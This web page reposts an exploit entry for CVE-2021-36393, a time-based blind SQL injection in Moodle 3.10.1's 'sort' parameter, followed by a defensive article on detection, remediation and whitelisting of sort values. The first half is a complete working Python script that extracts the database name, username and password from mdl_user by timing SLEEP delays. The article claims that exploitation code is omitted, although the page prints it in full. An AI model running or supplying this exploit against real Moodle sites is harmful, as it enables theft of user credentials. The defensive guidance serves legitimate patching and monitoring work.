Moodle 3.10.1 - Authenticated Blind Time-Based SQL Injection - "sort" parameter

Exploit Author: Julio Ángel Ferrari Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-04-12
# Exploit Title: Moodle Authenticated Time-Based Blind SQL Injection - "sort" Parameter
# Google Dork: 
# Date: 04/11/2023
# Exploit Author: Julio Ángel Ferrari (Aka. T0X1Cx)
# Vendor Homepage: https://moodle.org/
# Software Link: 
# Version: 3.10.1
# Tested on: Linux
# CVE : CVE-2021-36393

import requests
import string
from termcolor import colored

# Request details
URL = "http://127.0.0.1:8080/moodle/lib/ajax/service.php?sesskey=ZT0E6J0xWe&info=core_course_get_enrolled_courses_by_timeline_classification"
HEADERS = {
    "Accept": "application/json, text/javascript, */*; q=0.01",
    "Content-Type": "application/json",
    "X-Requested-With": "XMLHttpRequest",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36",
    "Origin": "http://127.0.0.1:8080",
    "Referer": "http://127.0.0.1:8080/moodle/my/",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "en-US,en;q=0.9",
    "Cookie": "MoodleSession=5b1rk2pfdpbcq2i5hmmern1os0",
    "Connection": "close"
}

# Characters to test
characters_to_test = string.ascii_lowercase + string.ascii_uppercase + string.digits + "!@#$^&*()-_=+[]{}|;:'\",.<>?/"

def test_character(payload):
    response = requests.post(URL, headers=HEADERS, json=[payload])
    return response.elapsed.total_seconds() >= 3

def extract_value(column, label):
    base_payload = {
        "index": 0,
        "methodname": "core_course_get_enrolled_courses_by_timeline_classification",
        "args": {
            "offset": 0,
            "limit": 0,
            "classification": "all",
            "sort": "",
            "customfieldname": "",
            "customfieldvalue": ""
        }
    }

    result = ""
    for _ in range(50):  # Assumes a maximum of 50 characters for the value
        character_found = False
        for character in characters_to_test:
            if column == "database()":
                base_payload["args"]["sort"] = f"fullname OR (database()) LIKE '{result + character}%' AND SLEEP(3)"
            else:
                base_payload["args"]["sort"] = f"fullname OR (SELECT {column} FROM mdl_user LIMIT 1 OFFSET 0) LIKE '{result + character}%' AND SLEEP(3)"
            
            if test_character(base_payload):
                result += character
                print(colored(f"{label}: {result}", 'red'), end="\r")
                character_found = True
                break

        if not character_found:
            break

    # Print the final result
    print(colored(f"{label}: {result}", 'red'))

if __name__ == "__main__":
    extract_value("database()", "Database")
    extract_value("username", "Username")
    extract_value("password", "Password")


Moodle 3.10.1 — Authenticated Time-Based Blind SQL Injection via the "sort" Parameter (CVE-2021-36393)

This article explains the nature, impact, detection, and remediation of an authenticated time‑based blind SQL injection vulnerability affecting Moodle 3.10.1 (publicly tracked as CVE-2021-36393). It is written for defenders, administrators, and developers who need to understand the risk and how to fix or detect attempts to exploit it in their environments. Practical offensive payloads and step‑by‑step exploitation code are deliberately omitted; instead you will find safe, actionable remediation and detection guidance and secure coding patterns.

Executive summary

  • The vulnerability is a time‑based blind SQL injection in an authenticated AJAX endpoint that accepts a "sort" parameter used to build SQL logic.
  • An authenticated user—often with low privileges—can manipulate the parameter to cause database evaluation differences (timing side channels) that leak information or otherwise alter server behavior.
  • Impact includes data disclosure, account enumeration, and potential further compromise if combined with credential reuse or escalation vulnerabilities.
  • Immediate remediation: apply the vendor patch/upgrade and implement server‑side input validation, whitelisting, and parameterized query patterns.

How this class of vulnerability works (conceptual)

Time‑based blind SQL injection is a technique where an attacker injects conditional SQL expressions that cause the database to pause (sleep) when a condition is true. The attacker infers boolean results from measured response times. Because the channel conveys information only via timing and responses show no data directly, it's called "blind".

In the Moodle case, the vulnerable endpoint accepted a user‑controlled "sort" value used while constructing a SQL fragment. When user input flows into SQL string composition without strict validation, an attacker can create expressions that change execution time depending on database state (for example, whether a guessed character matches part of a secret). Repeating this process allows incremental extraction of confidential values.

Why authenticated context matters

  • Because the endpoint required a valid session, exploitation required an account. This lowers the barrier compared with a truly unauthenticated issue, but many sites allow signups or public accounts (e.g., guests, students), so threat exposure can still be significant.
  • Privilege of the account influences impact: a low‑privilege account may still read some data; higher‑privilege roles can leak more or cause greater side effects.

Practical impact and threat scenarios

  • Slow, algorithmic extraction of database contents (usernames, hashed passwords, table names, configuration values).
  • Account enumeration and validation of credential guesses when combined with other weaknesses.
  • Pivoting to privilege escalation or persistent access if leakage includes secrets (API keys, config values) or password hashes that are cracked offline.
  • Denial‑of‑service via repeated long‑running queries, affecting availability for legitimate users.

Detection and indicators of compromise (high level)

Because time‑based blind SQLi relies on timing anomalies, detection focuses on behavioral and logging signals rather than error messages:

  • Repeated requests to the AJAX service (e.g., lib/ajax/service.php) with the same method name but varying parameters and incremental changes in parameter values.
  • Many requests from a single account or IP that correlate with increasing response times (consistent slow responses when certain inputs are used).
  • Elevated database query latency or spikes in long‑running queries coincident with specific endpoints being accessed.
  • Unusual patterns in web server logs: sequences of near‑identical POSTs with different sort or filtering strings, and many requests returning after a consistent delay.

Suggested detection approaches

  • Log and monitor AJAX endpoint access, including request parameters (mask sensitive parts) and response time metrics.
  • Create alerts for sequences of requests where the same user or IP sends a large number of similar parameter variations within a short time window.
  • Instrument the database to track and alert on unusually long queries coming from the application user account used by Moodle.
  • Use Web Application Firewall (WAF) rules to rate limit anomalous patterns against AJAX endpoints and to block suspicious high‑entropy parameter strings, while tuning to minimize false positives.

Remediation and hardening (recommended actions)

When an official patch is available, apply it as soon as possible. Beyond patching, take a defense‑in‑depth approach:

  • Upgrade and patch: Apply the vendor security update or upgrade to a patched Moodle release.
  • Input validation & whitelisting: Never interpolate user input directly into SQL fragments. For parameters that control ordering or column names (e.g., "sort"), implement a server‑side whitelist mapping of allowed tokens to safe database identifiers.
  • Parameterized queries: Use prepared statements or the application’s DB API that separates data from code. This prevents most injection classes when used correctly.
  • Least privilege: Ensure the database account used by Moodle has only the necessary privileges (SELECT/INSERT/UPDATE/DELETE on needed tables, avoid superuser rights).
  • Rate limiting and throttling: Throttle requests to sensitive AJAX endpoints to constrain the speed of blind extraction attempts.
  • Monitor and rotate secrets: If you suspect exposure, rotate credentials and review users and tokens.

Secure coding patterns — safe handling of sort/order parameters

Sorting parameters are a common source of injection because they often map to column names or sort directions rather than values. The correct approach is to map user inputs to a whitelist of safe, hardcoded SQL fragments.

// PHP example (illustrative, not an exploit)
// Validate and map incoming "sort" to allowed SQL ORDER BY clauses.

$allowedSort = [
  'fullname_asc'  => 'fullname ASC',
  'fullname_desc' => 'fullname DESC',
  'created_asc'   => 'created ASC',
  'created_desc'  => 'created DESC',
];

// Assume $requestedSort comes from POST/GET; never use it directly in SQL
$requestedSort = $_POST['sort'] ?? 'fullname_asc';

if (!array_key_exists($requestedSort, $allowedSort)) {
    // Fallback to a safe default or return an error
    $orderBy = $allowedSort['fullname_asc'];
} else {
    $orderBy = $allowedSort[$requestedSort];
}

// Then build the query using parameterized values for data portions only.
// The $orderBy variable is from a trusted map, not directly from user input.
$sql = "SELECT id, fullname, created FROM mdl_course ORDER BY $orderBy LIMIT :limit OFFSET :offset";
$stmt = $pdo->prepare($sql);
$stmt->bindValue(':limit', $limit, PDO::PARAM_INT);
$stmt->bindValue(':offset', $offset, PDO::PARAM_INT);
$stmt->execute();

Explanation: This snippet avoids allowing arbitrary strings to be injected into the ORDER BY clause. It uses a server‑side whitelist to translate a user token into a known safe SQL fragment, and parameterizes all data inputs. The ORDER BY content is chosen from the trusted map, not directly from the user.

Moodle‑specific guidance (defensive)

  • Check the core AJAX endpoints for any code paths that assemble SQL fragments from user input. If present, convert those workflows to whitelist mapping or use the Moodle DB API to express allowed sort fields.
  • Restrict access to AJAX services by capability checks. Ensure only roles that truly require a capability can reach endpoints that enumerate course/user data.
  • Enable and monitor Moodle logging for suspicious activity and enable rate limits at the web server or reverse proxy level for endpoints like /lib/ajax/service.php.

Incident handling and responsible disclosure

  • If you detect suspected exploitation, snapshot logs and preserve evidence (webserver logs, DB slow query logs, application logs). Avoid altering production systems that could destroy forensic artifacts.
  • Rotate affected credentials and secrets, and review account activity for suspicious changes.
  • Report confirmed vulnerabilities following responsible disclosure: contact the Moodle Security Team via the official channels and apply vendor guidance for remediation.

Summary and final recommendations

  • This issue demonstrates the danger of concatenating user input into SQL fragments — even seemingly harmless parameters like "sort" can lead to severe blind SQLi when not validated.
  • Apply vendor patches promptly, apply whitelisting for structural parameters, use parameterized queries, and add runtime protections (rate limiting, monitoring, WAF).
  • For full contextual guidance and the official patch, consult Moodle’s security advisories and apply vendor‑provided updates for the versions used in your environment.